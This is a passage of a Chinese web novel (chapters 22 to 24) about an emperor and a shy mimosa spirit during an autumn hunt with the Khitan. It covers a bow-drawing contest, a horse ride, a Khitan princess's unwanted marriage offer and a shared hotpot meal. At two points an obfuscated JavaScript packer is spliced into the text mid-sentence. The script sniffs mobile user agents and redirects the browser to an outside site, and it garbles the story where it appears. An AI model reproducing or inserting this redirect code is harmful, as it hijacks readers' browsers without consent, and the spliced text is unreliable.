萧厉轻轻咳嗽一声,掩去眼中的笑意,故作不屑道:“看在你的面子上,就叫九耀吧。” “九耀,真好听,谢谢皇上。”叶眠探出胳膊,揉了揉金雕的脑袋,“你以后就不是流浪小鹰啦,你也有自己的名字了。” 22.第 22 章 竖日天明,秋狩正式开始。 萧厉身穿戎装,骑着黑色骏马,立在队伍最前面。 豁里真部的族长作为围场的东道主,捧着弓箭,冲萧厉行礼:“皇上,自古以来秋狩都是天子射第一箭,还请您先射杀第一只猎物。” 萧厉微微颔首:“有劳族长。” 豁里真族长把弓箭递给萧厉,得意地朝大可汗递了个眼神。 这把硬弓是他特意准备的,足有六石之力,就算是豁里真族最勇猛的武士,徒手也不一定能拉开。 昨日训鹰让景朝出尽了风头,今天必要让景朝小皇帝出个丑。 萧厉刚接过弓箭,就觉得不对劲。豁里真递过来的这把弓比寻常的弓沉不少,弓弦也粗,完全不像是平常打猎会用的弓箭。 萧厉眼眸暗了暗,用指尖勾了下弓弦。 果不其然,这是武士练臂力才会用的硬弓。 豁里真族长笑得更加灿烂:“皇上怎么不射,难道是这弓不合手吗?” 可汗装模作样骂道:“你是怎么办事的,这弓不是六石的硬弓吗,皇上如何使得?” 豁里真夸张地拍了拍脑袋:“是臣疏忽了,皇上赎罪,臣这就给皇上换把轻便小巧的弓来。” 可汗冲萧厉笑笑:“陛下,这六石之弓只有契丹族一流的勇士才能拉开,您拉不动情有可原。” 看着两人一唱一和,萧厉眼底闪过几分寒光:“不必,这六石之弓很好,弓够硬,箭才能射得够远够狠。” 不等可汗和族长反应过来,萧厉催马疾驰,左手托弓,右手拿箭,双臂较力。 嘎吱,嘎吱,嘎吱吱吱,六石之弓硬生生被萧厉拉了个满圆。 大可汗、豁里真族长还有剩下的契丹大臣都傻眼了。 景朝不是崇文抑武吗,景朝小皇帝为什么会有这么大的劲儿啊! 萧厉仰在马背上,并没射寻常的野鸡麋鹿,而是对准了天上的头雁,倏地射出一箭。 箭矢借着硬弓之力,穿云破空,直刺向的猎物,大雁哀鸣一声,翅膀一歪,坠落在地上。 苏承恩多有眼力劲儿,早在萧厉瞄准了大雁的时候,就让小太监早早过去等着。于是,没过多一会儿,就有太监捧着大雁跑过来,跪在萧厉的马前报喜。 “恭喜皇上,射中了两只大雁。” 苏承恩立刻也跟着跪下:“奴才记着,鸿雁代表了长寿安康,福泽绵长,皇上一箭双雁,这是好彩头啊!” 大可汗走过去,接过小太监手里的大雁,上面的箭矢确实是他们递给萧厉的那支。 这景朝小皇帝还真是好本事,三年前能把他们契丹的勇士击退,也并非全是那叶元帅的功劳。 想到这,大可汗假装没看见豁里真族长眼睛里的不甘,脸上扬起了真切的笑容,左手抚胸单膝跪地:“皇上好箭法,臣等心悦诚服。” “景朝乃礼仪之邦,轻易不动刀剑,更不会在秋狩时带六石硬弓,但这不代表朕拉不开硬弓,可汗,你觉得是不是?” 大可汗盯着景帝凌厉的眼神,根本不敢抬头:“皇上说的极是,臣受教了。” 萧厉收回眼神:“今日秋狩,还望各位勇士奋勇争先,猎物最多者,朕重重有赏!” 景朝和契丹的王公大臣四散进入林子围猎,只剩下叶眠呆呆地站在队伍最后。 他还停留在刚刚萧厉射雁的样子。 他连马都上不去,萧厉却能靠一双腿稳稳地骑在飞驰的奔马上,还能拉开那么重的弓,把飞得那么高的大雁射下来,而且一次射了两只。 真的好厉害! 叶眠又不由自主地想起几个月前和萧厉一起沐浴,那具精壮的,几乎能装下两个他的身体。 胳膊硬硬的,胸硬硬的,小腹也硬硬的。 之前他只觉得萧厉身体强壮,灵气充足,很好吸,可现在回忆起那具身体,叶眠却有点莫名的脸红,就连心跳也快了不少。 有点像突然看到很多陌生人的含羞恐惧,却又比那种感觉多了几分说不清道不明的希冀。 叶眠咽了咽口水,按捺着心中异样的感觉,摸了摸站在肩头的九耀:“皇上好厉害的,是不是?” 因为昨晚在帐篷里拉了几粒粑粑,差点就被萧厉送汤锅的金雕还在记仇,不屑地把头扭到一边。 两只雁而已,算什么。 他也能一爪一个好不? * 众人四散去围猎,就连九耀也扑腾着翅膀飞进林子里玩了,于是,林子外只剩下了叶眠。 小亭子凑过来:“昭卿,您要不要回帐篷休息。” “不要。” 好不容易出来一趟,他才不要窝在帐篷里! 叶眠看着一望无际的草原,深吸了一口气。 萧厉不在,也没有不认识的人注意他,这可真是太好了! 叶眠蹲下身,三下五除二脱了鞋袜,光着脚踩在肥沃的泥土上。 好舒服! 虽然比不上招摇山带灵力的土,但也比皇宫的石头地强多了。 他冲小亭子摆摆手:“你别管我了,我自己待着就行。” 小亭子知道他们这位昭卿最不喜欢下人打扰,行了个礼远远地走开了。 脚下是肥沃湿润的土地,头顶是和煦的暖阳,最重要的是没有陌生人! 草生如此,草复何求! 叶眠幸福地闭上了眼睛,随着微风轻轻晃动。 萧厉转了一圈,猎到了一只鹿和两三只野鸡,刚转出林子,就看到小含羞草孤零零站在草地上。 契丹是游牧民族,个个善骑射,他带来的也大多都是武将,骑马打猎不在话下,在场所有人里,不会骑马的恐怕就只有叶眠了。 怪可怜的。 萧厉轻轻叹了口气,从马背上跳下来,快步走到叶眠身边:“怎么自己站在这?” 叶眠被吓了一跳,小声说:“我就吹吹风晒晒太阳,不用管我。” 昨晚灵气吸得很足,叶眠现在只想一棵草待着。 更何况他还没穿鞋袜,要是被萧厉抓到,肯定又得叨叨他。 想到这,叶眠不由得把脚往袍子里缩了缩。 “你不是还要和契丹比谁打的猎物多,快去吧,国事为重。”叶眠绞尽草汁,甚至很努力地搬出了前两天刚学会的成语。 萧厉揉了揉叶眠软乎乎的头发,心软的一塌糊涂。 明明很无聊,很想让他陪着,但还是让他以国事为重。 是棵很懂事的草。 应该获得一点奖励。 “想不想骑马?” 叶眠眼睛一下亮了。 骑马? 听起来挺有意思的。 但是他没穿鞋袜哎。 他纠结地弯了弯脚趾,试图把萧厉支走:“要不你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16053692|177737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先去打猎,等会再骑马?” 话音未落,叶眠就被萧厉抱了起来:“等什么?现在就去。” 下一刻,萧厉就看到了那双光溜溜的,沾满了泥土的脚。 没等皇帝开骂,叶眠就猛地把头埋进了萧厉胸口:“不要骂我。” 声音软乎乎的,带着几分心虚和讨好,萧厉教育含羞草的话一下就被堵在了喉咙口。 他叹了口气,很严厉地点了点叶眠的鼻尖:“没有下次。” 叶眠知道萧厉这是放过了自己,用侧脸蹭了蹭皇帝的手掌,声音都雀跃了几分:“遵旨。” 一通兵荒马乱后,叶眠终于鞋袜整齐地被萧厉搂着坐在了大黑马上。 含羞草头一次骑马,紧张得手脚都不知道往哪放:“应该不会掉下去吧?” 萧厉故意吓唬他:“这可不好说。” 叶眠更紧张了,喃喃自语:“可是这么高,要是掉下去了,会摔得很痛吧。” 萧厉凑到叶眠耳边:“你不是说自己是大妖怪吗?难道还怕骑马?” “我,我才不怕,我就是问……啊!” 叶眠话还没说完,大黑马突然往前走了两步,叶眠被吓得惊叫出声,抓紧了萧厉的袖子:“他怎么动了!我不要骑马了!” “放松,有朕在,不会让你出事。” 萧厉说罢,一只手揽着叶眠的腰,一只手牵缰绳,双腿夹了一下马的肚子,大黑马立刻小跑了起来。 “好快,太快了!” 叶眠原本很害怕,连眼睛都不敢睁开,生怕从马上掉下去,但是萧厉把他搂得很紧,过了好长时间他依旧稳稳地坐在马背上。 小含羞草偷偷挣开眼睛,四肢也不那么僵硬了,甚至能偷偷回头看萧厉。 “还敢偷偷看朕,看来是不怕了。” 没等叶眠反应过来,萧厉轻轻抽了大黑马一鞭子,黑马嘶鸣一声,四蹄蹬开在草原上狂奔。 “不行,太快了,慢一点!” “慢点?慢点那还叫骑马?”萧厉并没减速,只是把小含羞草又搂得紧了些,“放心,不会掉下去。” 温暖坚实的胸膛驱散了叶眠原本的紧张和害怕。 虽然有点太刺激了,但还是挺有意思的。 感觉要飞起来了! 叶眠慢慢得了趣儿,放任自己靠在萧厉怀里,感受自由的风拂过脸庞。 好幸福。 原本这次来人间,只是为了吸灵气渡劫,没想到却经历了这么多有意思的事情,还认识了萧厉。 如果可以,他愿意一直待在皇宫。 可他是招摇山的妖怪,长出第九片叶子的那天,他就要回到招摇山继续修炼,直到羽化成妖。 从精怪变成妖怪,要闭关修炼很长时间,狌狌那么聪明,还修炼了将近一百年。 萧厉说过人活七十比古还要稀有,一百年,对他们精怪来说不算什么,但对凡人来说,有点太长了。 恐怕等他修炼成大妖怪的时候,萧厉已经死了吧。 以前叶眠只盼着快点吸收灵气回招摇山,可现在,他却开始想着不要那么快长出第九片叶子了。 “想什么呢?” 萧厉注意到叶眠脸色不对,放慢了速度:“不会真的吓着了吧?” “没。”叶眠慢吞吞摇了摇头,很轻很轻地说,“就是很喜欢你,想永永远远陪着你。” 23.第 23 章 萧厉垂下眸子,正对上叶眠圆滚滚的眼睛。 里面一如既往地干净澄澈,没有半分杂质,就跟小含羞草一样,经常容易害羞,但是在表达爱慕的时候却异常胆大,没有半分掩饰。 萧厉没说话,直揉了揉小含羞草软乎乎的头发。 虽说景朝旧制,男妃的位分最高也就是三品昭卿,但也不是不能想办法往上提一提。 至于前朝那帮只想着把女儿往宫里塞的老顽固,要是敢反对,直接贬去岭南捉猴子。 萧厉打定了主意,半个下午就都消磨在了叶眠这里。 临近晚宴,出去打猎的人都满载而归,叶眠回到自己的帐篷,换上了一身浅银色绣竹子的锦袍,浅绿色丝绦上挂的依旧是他最喜欢的春水秋山羊脂玉佩,最后把头发用银钗挽起来,漂漂亮亮参加宴会。 据小亭子说,今日狩猎收获颇丰,皮子要交给朝廷,但是肉会给大家分着吃了,所以今晚会有很多烤肉。 叶眠高高兴兴坐在自己的位置上,一双大眼睛猫儿一般盯着帐篷外的烤肉架子。 什么时候才能开宴啊,肉都要烤好了。 萧厉边和可汗寒暄,边偷偷瞟了一眼坐在旁边的小含羞草。 银色衬得叶眠皮肤更白了,小小一只坐在那里,干净得像是从天上误闯到人间的小神仙。 羊脂玉佩戴在叶眠腰上也很好看,走起路来叮叮当当的,很好听。 回去之后再让苏承恩收拾收拾库房,看看有什么好料子好首饰,都送到蓬莱苑。 “皇上?” 随着契丹可汗的轻唤,萧厉回过神,面不改色地回应:“可汗所言极是,契丹盛产牛羊马匹,景朝盛产丝绸茶叶,若是在边境开设茶马市场,百利无一害。” “皇上圣明,臣正是这么想的。” 得了萧厉的肯定,契丹可汗满面红光,滔滔不绝地讲述起了他对茶马市场的设想。 坐在旁边的叶眠急得直皱眉。 已经半个时辰了! 为什么还不开宴! 烤肉再烤一会就不好吃了! 萧厉瞥了一眼快坐不住的含羞草,不动声色道:“茶马市场虽说利国利民,但还有诸多细节,等秋狩结束,朕让户部拟个章程,再与可汗详谈。” 可汗很识趣地施礼:“多谢皇上。” 萧厉点点头,拿起酒杯:“今日秋狩,所获颇丰,全赖尔等勠力同心。特赐盛宴,愿诸君尽欢,勿负良宵。” 随着百官的应和,一道道烤肉流水一般端了上来。 烤羊肉鲜嫩软烂,鹿肉外焦里嫩,最好吃的还是狍子肉,鲜嫩多汁没有一点膻味,外面涂上契丹特有的香料和盐巴,即便没有蔬菜也不会觉得腻。 不过这些还不是今晚最珍贵的菜肴,听说有个契丹的将军猎了只棕熊,晚上的压轴菜是炖熊掌。 叶眠舔了舔嘴唇,那些话本上都说熊掌是珍馐佳肴,肯定特别好吃。 也不知道什么时候能上。 忽然,对面的可汗又从座位上站了起来。 叶眠:!!! 这个可汗一站起来就没好事。 吃饭就吃饭,哪那么多事! 叶眠在心里哀嚎一声,只好开始吃稍微有点柴的烤兔子肉。 “皇上。”契丹可汗冲萧厉行礼,“臣的胞妹久慕皇上圣仪,听闻皇上驾临契丹,特意准备了舞蹈,想献给陛下。” 萧厉拿酒杯的手一顿,眼神又不由自主地扫向叶眠。 然而,小含羞草好像什么都没听见,很认真地在啃兔腿。 萧厉心中忽然没来由地生出一阵烦闷,拒绝的话到了唇边,又咽了回去。 “准了。” 可汗眼中闪过几分喜悦,拍了拍手,没过多一会儿,一队舞女簇拥着一位身身姿高挑,容颜艳丽的红衣女子走了进来。 伴随着悠扬的马提琴,红衣女子纤腰轻摆,迎合着琴声旋转、跳跃,罗裙翻动,像草原上盛开的花朵。 萧厉看似在欣赏舞蹈,余光却一直注意着叶眠。 可小含羞草好像什么都看不到一样,还在啃兔腿。 一只兔子,有那么好吃吗? 他是平常没给叶眠饭吃吗? 更烦了! 萧厉也别上了劲儿,恰好郡主一舞毕,他拍拍手:“好,郡主舞姿曼妙,着实动人。” “皇上谬赞了。”可汗冲郡主使个眼色,“萨仁,还不谢过皇上。” 郡主款款行礼,声音轻柔:“多谢皇上赞誉。” “萨仁不仅善舞,更善厨艺,听说部下猎到了棕熊,特地做了烹熊掌,想献给皇上。” 叶眠眼睛刷地亮了。 熊掌! 他要吃! 萧厉声音温和,眼睛里却没有半分笑意:“既然如此,朕倒要好好尝尝郡主的手艺了。” 可汗冲侍从使了个颜色,十几名漂亮的契丹女子端着炖熊掌款款走上来,郡主接过最前面的那碗,摇曳着走到萧厉身边,声音轻柔如春风拂柳:“万岁,请您品尝。” “郡主温恭允塞,蕙质兰心,苏承恩,把内廷进贡的翡翠桃花簪赏给郡主。” 萨仁脸上露出了得体的微笑:“臣女多谢皇上圣恩。” 萧厉端起熊掌,借着汤盅的遮挡瞥了一眼叶眠。 这回小含羞草总该有点反应了吧。 然而,叶眠压根没往这边看,捧着熊掌吃得正香。 萧厉咬咬牙。 好,很好! 熊掌肥厚滑嫩,掌筋很有嚼劲,比宫里的猪蹄好吃多了。 叶眠吃得开心极了。 吃着吃着,叶眠忽然觉得头顶好像有一道视线,他茫然的抬起头,一下就对上了萧厉冷厉的眼神。 叶眠迷茫地眨眨眼。 谁又惹皇上了? 脸黑的像锅底灰一样。 叶眠投过去询问的眼神,然而萧厉却好像没看见一样,完全不理他。 莫名其妙。 凡人情绪都这么不稳定吗? 叶眠在心里叨咕了两句,就放下了这些乱七八糟的念头,继续吃熊掌。 还是熊掌好吃。 可惜小雕不吃熟食,不然应该给他带回去两块。 * 萨仁郡主献舞后就一直没离开,坐在可汗身侧,陪着兄长用膳。 晚宴接近尾声,可汗冲萧厉举起酒杯:“皇上,臣有个不情之请。” 萧厉眉毛微扬:“可汗请讲。” “小妹萨仁今年已经十六岁了,臣一直想给她找个好人家。但俗话说富贵莫如帝王家,萨仁又很是仰慕皇上,臣想求皇上纳萨仁为妃,一来契丹和景朝能结下秦晋之好,二来也了了萨仁的夙愿,不知皇上意下如何?” 叶眠啃羊排的嘴微微停了一下。 妃子啊。 他在话本里看过,和皇后一样,都是皇上的妻妾,要陪皇上睡觉的那种。 若是之前,他还会担心萧厉娶了妃子没时间陪自己睡觉,会耽误修行。 不过他现在只想着慢点修炼出第九片叶子,还是降低一点和萧厉睡觉的频率比较好。 叶眠想通了,就低下头重新啃起了羊排。 坐在主位的萧厉脸更黑了。 他咬咬牙,勉强挤出一个笑容:“郡主毓秀名门,秀外慧中,便是贵妃之位也当得。但纳妃不是小事,依朕之见,还是容后再议。” 可汗也不敢逼得太紧,只好放下酒杯,讪笑道:“皇上说的是,是臣心急了。” 晚宴结束,叶眠像往常一样主前往萧厉的御帐,金雕像只大公鸡一样探头探脑跟在他身后。 然而,刚到御帐门口,就见苏承恩慌慌张张赶了出来,脸上带着不自然的笑容:“奴才给昭卿请安,昭卿,皇上说今晚有事,请您回去呢。” 叶眠愣住了。 “所以,我今天晚上都不用来了吗?” 苏承恩委婉道:“要不您先回去,如果万岁传召,奴才立刻过去请您。” “好哦,那我回去了。” 叶眠抱起九耀,回自己住的帐篷。 小亭子着急地凑过来,小声说:“昭卿,皇上突然不让您侍寝,这可不是好兆头。” “皇上朝政繁忙,许是真的有急事吧。”叶眠没太放在心上,随口说了一句。 草原的夜晚风有些凉,叶眠紧了紧身上的斗篷,忽然看到不远处一群太监正在运马粪,太监身上穿的破破烂烂,在寒风里直发抖,管事太监还不住用鞭子往他们身上抽。 其中有个太监莫名眼熟,似乎是那个辣手摧花的李管事。 他好歹也是个管事,怎么沦落成倒马粪的太监了。 “昭卿,您在看什么呢?” 叶眠回过神:“没什么,咱们快回去把,太冷了。明天晚上如果不设宴,可以要个锅子吃。” 这里牛羊肉新鲜,涮锅子肯定好吃。 叶眠舔了舔嘴唇。 明明才吃了烤肉和熊掌,怎么又饿了。 小亭子绝望地看着自家主子。 明明都要失宠了,怎么还想着吃啊! 着急的太监不止小亭子一个,还有苏承恩。 御前大总管这会正战战兢兢侍立在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16059065|177737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 萧厉身边,伺候笔墨。 看着皇上在折子上笔走龙蛇,苏承恩就默默为递上这批折子的大臣点根蜡。 着实是有点倒霉。 忽然,耳边传来一道怒吼。 “墨都不会磨了吗?苏承恩,你的差事当的是越发好了!” 苏承恩扑通一声跪在地上,一个劲儿磕头:“奴才知罪,皇上饶命。” 萧厉深吸了口气,拿起桌上的茶,只抿了一口就掼在了地上:“茶也是凉的,朕看你的脑袋是不想要了。” 苏承恩苦着脸,伏在地上,除了“奴才知罪”四个字之外,多一个字都不敢说。 自从晚宴结束之后,皇上就发了好几通火,叶昭卿来过一趟之后,脾气更差了,光是奉茶就奉了五六回,不是热就是冷。研磨也是,一会儿说浓一会儿说淡。 更何况依皇上批折子的速度,就算他长了八只手也研不过来啊。 要是往常,还能请叶昭卿过来救命,可这次万岁明摆着就是在跟叶昭卿较劲。只苦了他们这些做奴才的,稍有不慎脑袋就要分家。 苏承恩在地上跪了一会儿,感觉万岁的火消了点,奓着胆子跪行几步,想把茶水撤了。 “叶眠走的时候,有没有说什么?” 当然是没说。 不仅没说,甚至都没当回事。 但要是实话实说,他就真别想要这颗脑袋了。 苏承恩脑子转得飞快:“昭卿倒是没说什么,但是看脸色很落寞,还有有点难过。” “难过?朕看他无所谓的很,怕是朕纳上十几个嫔妃,也无所谓。”萧厉冷笑一声,“都给朕滚出去,没用东西。” 苏承恩如蒙大赦般,领着几个小太监连滚带爬地退了出去。 离开御帐,苏公公这才松了口气,看着帐篷里若隐若现的昏黄灯光,轻轻叹了口气。 男人啊。 * 萧厉气得一晚上没睡好,叶眠却睡得很香。 他早早起来,陪九耀玩了一会儿,教他了些最基础的修炼法术,就放九耀出去撒欢,随便吃了两口点心,就开始安排中午的涮锅子。 含羞草的生活可不止有萧厉。 皇上忙,他也可忙了呢。 “你去跟御膳房的人说,午膳给我准备个锅子就行,大骨头细细熬上三个时辰做底汤,涮菜就要牛肉羊肉,片的薄些,要肥三瘦七的那种,狍子肉也片些,兔肉柴,就不涮锅子了,凉拌了解腻吃。” 被萧厉好好养了几个月,叶眠再也不是那个什么都没吃过的乡下草了,用萧厉的话说,他也算是一颗城里草了。 小亭子一一记下:“昭卿,除了这些肉菜,要不要让御膳房再备些蔬菜。” 叶眠不爱吃蔬菜,但萧厉总说吃蔬菜对身体好。于是叶眠不情不愿地点头:“备些也行,但主要还是几样肉。” “是。” 没过一会儿,小亭子就回来了。 叶眠激动地迎上去:“跟御膳房说了没有?” 小亭子勉强挤出一个笑容:“回昭卿,御膳房说没有准备大骨头汤,而且契丹这边路途遥远,蔬菜短缺,可能没法做锅子。” “啊!”叶眠眼睛里的失望都快溢出来了,“那午膳用什么?” “可能还是烤肉,还有几样炒菜。” “那好吧。” 叶眠长长叹了口气。 虽说烤肉好吃,可是都连吃了好几天了,早就吃烦了。 “中午没准备骨头汤,能不能让御膳房现在炖上,晚上吃锅子。没有蔬菜也没关系。” 小亭子被叶眠说的心里难受。 也就是他家昭卿单纯,才会信了御膳房的借口。 什么做不出来没有蔬菜,明摆着就是不想伺候,他去御膳房的时候,明明看见帐篷角堆着不少白菜。 拜高踩低的玩意儿,他们昭卿不过是一晚上没伺候万岁,就这般怠慢。 但小亭子不敢把这些告诉叶眠,只能小心翼翼哄劝:“奴才去跟御膳房说说,不过出门在外总是不方便,实在不行,等回了京城,您想吃什么都有。” 那也只能这样了。 叶眠难过地舔了舔嘴唇,决定找个角落踩一会儿泥土缓解一下失望的心情,刚出帐篷,身后就传来一道熟悉的声音。 “叶昭卿。” 叶眠转过身,萨仁郡主笑盈盈冲他俯身:“臣女见过昭卿。” 叶眠还没说话,脸就已经红了,他努力端起景朝三品大臣的仪态:“郡,郡主好,有什么事吗?” “昭卿如果还没用午膳,臣女想请昭卿用个便饭?” 24.第 24 章 吃饭呀,还是跟陌生人一起? 叶眠脸更红了:“不,不用了吧?” “臣女已经准备好了锅子,就等昭卿赏光呢。” 叶眠眼睛倏地一亮。 萨仁居然准备了锅子! 对美食的渴望瞬间战胜了害羞,叶眠偷偷舔了舔嘴唇,学着话本上主角寒暄的样子:“那就叨扰郡主了。” * 奶白色的骨头汤咕噜噜冒着诱人的热气,侍女夹起薄如蝉翼的羊肉片,放进锅子里,涮了片刻就捞出来,。 萨仁吧酱料递给叶眠:“这是我们契丹的蒜酪酱,昭卿尝尝?” 叶眠用用肉沾了一下塞进嘴里,眼睛蓦地瞪圆了。 醇厚的奶香混合着羊肉滑嫩的口感在嘴里爆开,配合着蒜末的咸味,香而不腻,是很神奇的口感。 “真好吃。” 萨仁一下就乐了:“没想到,昭卿居然吃得惯我们契丹的蒜酪酱,其他外邦人都不喜欢,我阿娘这么多年,都只沾花椒和盐。” “那有什么吃不惯的,你说的沾花椒的吃法我知道,也很好吃。” 萨仁招呼侍女下牛肉:“昭卿来的不是时候,要是冬天过来,围着炭火涮锅子烫黄酒,那才叫一个绝。不过夏天倒是能吃些时新蔬菜。” 叶眠摇摇头:“我其实不怎么爱吃菜,但是皇上说吃菜对身体好。” 萨仁郡主啪地一拍桌子:“我阿娘也是这么说的,我小时候不爱吃,我阿娘成天逼着我吃!那破菜叶子有什么好吃的,哪有肉得劲!” 叶眠满脸惊喜。 没想到居然在契丹遇到了和他口味一样的人。 用古语说,这可是高山上流泉水,知音啊! 叶眠也顾不得害羞,往萨仁身边凑了凑,兴致勃勃地说:“宫里好吃的也很多,樱桃肉、八宝鸭汤、油焖鸡都不错,等你进宫,我请你去吃。” 萨仁有些诧异:“实话实说,我之前还以为,你不愿意让我进宫。” 叶眠一脸莫名其妙:“你为什么会不愿意你进宫啊。” 他又不是皇后。 萨仁面色顿了顿,旋即笑了:“也是,圣上的心思岂是我们能揣测的,饶是寝宫佳丽三千,汉武帝还不是独宠阿娇一人。” 虽然叶眠自认已经是一株有文化的草了,但他还是没听明白萧厉娶萨仁这件事跟汉武帝有什么关系。 幸好萨仁并没纠缠,转而端起一杯酒:“昭卿,实不相瞒,臣女今日有个不情之请,臣女想请昭卿劝说皇上,不要纳我为妃。” 叶眠和身后伺候的小亭子都愣住了。 小含羞草过了好半天,才讷讷地问:“那你昨天为什么在宴会上又是跳舞,又是给皇上献熊掌的?” 萨仁苦笑了两声:“昭卿有所不知,臣女的母亲其实是女奴出身,虽然老可汗临终前赏了侧妃的位分,但也并没什么地位。可汗的命令,臣女不敢不从,但我实在不愿入宫。” 可汗用她母亲的性命威胁,她不得不做出一副贤良淑德的模样,甚至连她猎到的熊,也要算成是其他契丹将军猎的。 可汗说契丹族好几个部落蠢蠢欲动,家族地位不稳,她是契丹的郡主,就要承担郡主的责任。可她宁愿提枪上马保家卫国,也不愿像个物品一样被送出去。 萨仁喝了一大口马奶酒,猛地从座位上站起来,扬着酒杯嚎道:“你说,我们做女人怎么就这么艰难,当然你也难,都说伴君如伴虎,你在宫里肯定没少吃苦吧……” 几个侍女吓得脸色都变了,赶紧捂住萨仁的嘴,抱歉地冲叶眠俯身:“昭卿,我家郡主醉了,说的话您别当真。” “哦。”叶眠一边夹羊肉,一边点点头。 不过他在宫里似乎真的没吃什么苦。 有吃不完的美食,穿不完的漂亮衣服,还有亮晶晶的首饰和超大的秋千。 萧厉也是很好的君主。 叶眠吃完最后一口肉,心满意足地离开帐篷:“小亭子,今天的郡主和宴会上真的不一样。” 感觉昨天的萨仁像个戴了面具的假人,今天才鲜活了起来。 一顿饭吃的小亭子胆战心惊:“昭卿,萨仁郡主毕竟没有进宫,您和他男女有别,还是少接触为好。” 更何况那位郡主喝了点酒就说胡话,别连累了他家昭卿。 “知道了。” 叶眠随口应了一声,心里还盘算着萨仁交代他的事情。 郡主是个很好的人,他得想办法帮她。 * 御帐气氛凝重得好像暴风雨来临前黑压压的天空。 “科举事关国本,多少寒门学子悬梁刺股,就为了科举拼一个前程,你们倒好,秋闱还没开始,题目已经泄露出去了。你们俩,一个是吏部尚书,一个是国子监祭酒,拿着朝廷的俸禄,饱食终日无所用心,尸位素餐虚应故事,简直荒唐!”萧厉把奏折摔在地上,气得胸口起伏。 被从京城提溜过来的吏部尚书和国子监祭酒战战兢兢跪伏在地上:“臣知罪,罪该万死。” “罪该万死?”萧厉冷笑一声,“成日就知用这种话搪塞朕,你们要真觉得愧对朝廷和天下百姓,回去就该用绦子把自己挂门口,也能称得上以命谢罪。” 皇上这话说得,完全没法接啊。 其实科举题目泄露是常有的事,毕竟能买得起题目的人都是达官贵族的子弟,朝廷也并不深究。 毕竟门阀众多,就算寒门真出了进士,又怎么可能比得过那些世家子弟。 谁想到他们万岁对科举格外重视,如此雷霆之怒,可怎么是好。 两位白发苍苍的三朝元老对视一样,一齐求助地看向苏承恩。 苏公公慌忙低下头,一双眯缝眼紧盯着脚尖。 他们万岁正跟叶昭卿怄气呢,谁赶往上撞,这两位大人也是点背。 好在残存的理智告诉萧厉不能真的把这两个大臣杀了,他压了压心里的火气:“秋闱试题主管官员撤职,剩下的涉事官员罚俸半年,后面再要出什么叉子,小心你们的脑袋。” 两位官居二品的朝廷大员被骂的一句话不敢说,颤颤巍巍地退出去。 萧厉一口气喝干了半凉的茶,随手拿起一个折子,没看两眼就扔在地上:“请安折子写的这般长,是没事做吗?苏承恩,派人去嘉兴,传朕的口谕,让两江节度使把心思放在正地上,别天天想着阿谀奉承。” “是。” 苏承恩答应一声,刚要出御帐,又被萧厉叫住了。 “今日各处,有没有出什么事?” 苏承恩一脸莫名其妙。 什么出什么事? 天子驾前,那个不是老老实实夹着尾巴做人? 他犹豫了半天,含糊地回话:“回万岁,今日并没有什么事。” “随驾的人都在做什么?” “这……无外乎就是骑马打猎,当值的侍卫照常巡视。” “废物!”萧厉扬手把茶杯掷在地上,“苏承恩,你就是这么当差的?” 苏公公扑通一声跪在地上,浑身颤抖,忽然福至心灵:“回万岁,今日叶昭卿倒是出营帐了。” “他不好好待着,出去乱走什么?”萧厉语气虽然依旧不善,但面色却好转了几分,他顿了顿,又状似不经意地问,“叶眠去哪了!” 苏承恩诧异地转了转眼珠。 他原本以为叶昭卿触怒龙颜,怕是要完了,没想到万岁居然还惦记着? 呵,男人啊。 苏承恩撇撇嘴,但面上还是恭恭敬敬:“回皇上,叶昭卿今日想吃锅子,但膳房并没准备……” “主子想吃锅子,膳房就是这般怠慢的?传朕口谕,掌事太监办事不力,罚俸半年。” “奴才遵旨。”苏承恩叩首行礼,继续说,“昭卿可能是心中烦闷,边出帐篷散心,偶遇萨仁郡主,郡主便请昭卿用了午膳。” 萧厉眉头紧皱:“萨仁宴请,叶眠便去了?” 苏公公小心翼翼:“可能是因为郡主请昭卿吃的锅子?” “混账!膳房上下怠慢君主,笞二十,你自己也去领十板子紧紧皮,想想该怎么管底下的奴才!” 苏公公登时苦了脸:“奴才遵旨。” 挨了十板子之后的苏公公捂着屁股,一瘸一拐地回到自己帐篷。 不行,这日子没法过了。 他要找叶昭卿救命了! * “中午吃了很多肉,晚膳就少吃些,你去让御膳房做碗粳米粥,剁了细细的肉末撒在里面,少放些葱姜,出锅的时候再点几滴香油,撒些盐巴,另外让膳房看着配几种小咸菜就行了。” 叶眠一边吩咐,一边看了看帐篷外黑沉沉的天。 估计晚上要下雨了,很适合喝一碗暖呼呼的粥。 “昭卿救命。” 叶眠从床上站起来,就看到苏承恩一瘸一拐地走进来,扑通一声跪在他面前:“昭卿救救奴才吧!” 叶眠往后退了一步,小心地看着苏承恩:“你……你怎么了?” “回昭卿,万岁雷霆震怒,还得昭卿您去劝劝呀。” 叶眠皱皱眉:“皇上生气了,为什么啊?” 苏承恩瞟了一眼满脸迷茫的叶昭卿,默默在心里叹了口气。 还能是因为什么,跟您赌气呢呗。 但这话不能明着说,苏承恩眼珠转了转,满脸赔笑:“您也知道,万岁国事繁忙,这事情一多,难免有三两样不顺心的。” 叶眠点点头。 也对,萧厉之前批奏折就总是骂人,生气也正常。 那就去哄哄吧? 顺便吸点灵气,再把萨仁郡主求他办的事跟皇上说了。 